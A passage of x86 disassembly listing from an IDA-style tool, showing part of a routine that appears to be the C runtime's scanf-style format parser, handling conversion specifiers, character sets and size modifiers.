		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D084, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D088, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D088
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D084, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D084, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D428
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D300
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D2F8


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D084
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D084, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D084, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D084, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D084, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4217CD


loc_4217BC:				; CODE XREF: sub_420DB0+9BDj
					; sub_420DB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4217D0
		cmp	[ebp+var_15], al
		jnz	short loc_4217D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4217D0
